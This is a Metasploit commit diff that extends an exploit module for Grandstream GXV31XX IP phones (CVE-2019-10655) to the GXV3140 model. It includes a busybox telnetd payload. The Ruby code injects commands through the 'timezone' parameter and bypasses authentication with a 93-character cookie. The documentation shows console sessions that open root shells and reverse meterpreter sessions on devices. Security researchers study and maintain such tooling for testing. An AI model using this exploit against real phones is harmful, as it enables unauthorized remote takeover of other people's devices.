Skip to content

Commit feebf25

Browse files
bcolesbcoles
committed
Add support for GXV3140 models and ARCH_CMD busybox telnetd payload
1 parent a4fcddc commit feebf25

File tree

2 files changed

+92
-40
lines changed

2 files changed

+92
-40
lines changed

‎documentation/modules/exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.md‎

Lines changed: 40 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,23 @@
11
## Vulnerable Application
22

3-
This module exploits a command injection vulnerability in Grandstream GXV3175
3+
This module exploits a command injection vulnerability in Grandstream GXV31XX
44
IP multimedia phones. The 'settimezone' action does not validate input in the
55
'timezone' parameter allowing injection of arbitrary commands.
66

77
A buffer overflow in the 'phonecookie' cookie parsing allows authentication
88
to be bypassed by providing an alphanumeric cookie 93 characters in length.
99

10-
This module was tested successfully on Grandstream GXV3175v2
11-
hardware revision V2.6A with firmware version 1.0.1.19.
10+
This module was tested successfully on Grandstream models:
11+
12+
* GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
13+
* GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
1214

1315
## Verification Steps
1416

1517
1. `msfconsole`
16-
1. `use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec`
18+
1. `use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec`
1719
1. `set rhosts [IP]`
18-
1. `set lhost [IP]`
20+
1. `set target [target]`
1921
1. `run`
2022
1. You should get a session
2123

@@ -24,14 +26,43 @@ hardware revision V2.6A with firmware version 1.0.1.19.
2426

2527
## Scenarios
2628

29+
### Grandstream GXV3140
30+
31+
```
32+
msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
33+
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
34+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.111
35+
rhosts => 10.1.1.111
36+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run
37+
38+
[*] Started bind TCP handler against 10.1.1.111:4444
39+
[*] Command shell session 1 opened (10.1.1.112:36769 -> 10.1.1.111:4444 ) at 2022-01-29 02:30:13 -0500
40+
41+
42+
Shell Banner:
43+
_!_
44+
-----
45+
46+
47+
/ # uname -a
48+
uname -a
49+
Linux gxv3140_000b8229ac36 2.6.10_gxv31xx #15 Tue Jul 16 11:07:04 CDT 2013 armv5tejl unknown
50+
/ #
51+
52+
```
53+
54+
### Grandstream GXV3175v2
55+
2756
```
28-
msf6 > use exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
57+
msf6 > use exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
2958
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
30-
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109
59+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set rhosts 10.1.1.109
3160
rhosts => 10.1.1.109
32-
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110
61+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set lhost 10.1.1.110
3362
lhost => 10.1.1.110
34-
msf6 exploit(linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec) > run
63+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > set target 1
64+
target => 1
65+
msf6 exploit(linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec) > run
3566
3667
[*] Started reverse TCP handler on 10.1.1.110:4444
3768
[*] Using URL: http://0.0.0.0:8080/JF62dexHKN8b

‎modules/exploits/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec.rb‎

Lines changed: 52 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -8,32 +8,36 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Remote::HttpClient
1010
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::Deprecated
12+
13+
moved_from 'exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec'
1114

1215
HttpFingerprint = { pattern: [ /Multimedia Phone/ ] }.freeze
1316

1417
def initialize(info = {})
1518
super(
1619
update_info(
1720
info,
18-
'Name' => "Grandstream GXV3175 'settimezone' Unauthenticated Command Execution",
21+
'Name' => "Grandstream GXV31XX 'settimezone' Unauthenticated Command Execution",
1922
'Description' => %q{
20-
This module exploits a command injection vulnerability in Grandstream GXV3175
23+
This module exploits a command injection vulnerability in Grandstream GXV31XX
2124
IP multimedia phones. The 'settimezone' action does not validate input in the
2225
'timezone' parameter allowing injection of arbitrary commands.
2326
2427
A buffer overflow in the 'phonecookie' cookie parsing allows authentication
2528
to be bypassed by providing an alphanumeric cookie 93 characters in length.
2629
27-
This module was tested successfully on Grandstream GXV3175v2
28-
hardware revision V2.6A with firmware version 1.0.1.19.
30+
This module was tested successfully on Grandstream models:
31+
GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19; and
32+
GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.
2933
},
3034
'Author' => [
3135
'alhazred', # Command injection vulnerability discovery and exploit
3236
'Brendan Scarvell', # Auth bypass discovery
3337
'bcoles' # Metasploit
3438
],
3539
'License' => MSF_LICENSE,
36-
'Platform' => 'linux',
40+
'Platform' => %w[unix linux],
3741
'References' => [
3842
[ 'CVE', '2019-10655' ],
3943
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=23920' ],
@@ -46,30 +50,47 @@ def initialize(info = {})
4650
},
4751
'DisclosureDate' => '2016-09-01',
4852
'Privileged' => true,
49-
'Arch' => ARCH_ARMLE,
50-
'DefaultOptions' => {
51-
'PrependFork' => true,
52-
'MeterpreterTryToFork' => true,
53-
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
54-
'CMDSTAGER::FLAVOR' => 'wget'
55-
},
5653
'CmdStagerFlavor' => %w[wget],
5754
'Targets' => [
58-
['Automatic', {}]
55+
[
56+
'Linux (cmd)', {
57+
'Arch' => ARCH_CMD,
58+
'Platform' => 'unix',
59+
'DefaultOptions' => {
60+
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
61+
}
62+
}
63+
],
64+
[
65+
'Linux (ARMLE)', {
66+
'Arch' => ARCH_ARMLE,
67+
'Platform' => 'linux',
68+
'DefaultOptions' => {
69+
'PrependFork' => true,
70+
'MeterpreterTryToFork' => true,
71+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
72+
'CMDSTAGER::FLAVOR' => 'wget'
73+
}
74+
}
75+
],
5976
],
6077
'DefaultTarget' => 0
6178
)
6279
)
6380
end
6481

65-
def check
66-
res = send_request_cgi(
82+
def send_manager_request(vars_get)
83+
send_request_cgi(
6784
'uri' => '/manager',
6885
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
69-
'vars_get' => {
70-
'action' => 'settimezone',
71-
'timezone' => ''
72-
}
86+
'vars_get' => vars_get
87+
)
88+
end
89+
90+
def check
91+
res = send_manager_request(
92+
'action' => 'settimezone',
93+
'timezone' => ''
7394
)
7495

7596
if res && res.code == 200 && res.body.to_s.include?('Response=Success')
@@ -79,14 +100,10 @@ def check
79100
CheckCode::Safe
80101
end
81102

82-
def execute_command(cmd, _opts)
83-
res = send_request_cgi(
84-
'uri' => '/manager',
85-
'cookie' => "phonecookie=\"#{rand_text_alpha(93)}\"",
86-
'vars_get' => {
87-
'action' => 'settimezone',
88-
'timezone' => "`#{cmd}`"
89-
}
103+
def execute_command(cmd, _opts = {})
104+
res = send_manager_request(
105+
'action' => 'settimezone',
106+
'timezone' => "`#{cmd}`"
90107
)
91108
unless res
92109
fail_with(Failure::Unreachable, 'Connection failed')
@@ -100,9 +117,13 @@ def execute_command(cmd, _opts)
100117
end
101118

102119
def exploit
103-
execute_cmdstager(
104-
linemax: 220, # 255 minus URL encoding
105-
background: true
106-
)
120+
if target.arch.first == ARCH_CMD
121+
execute_command(payload.encoded)
122+
else
123+
execute_cmdstager(
124+
linemax: 220, # 255 minus URL encoding
125+
background: true
126+
)
127+
end
107128
end
108129
end

0 commit comments

Comments
 (0)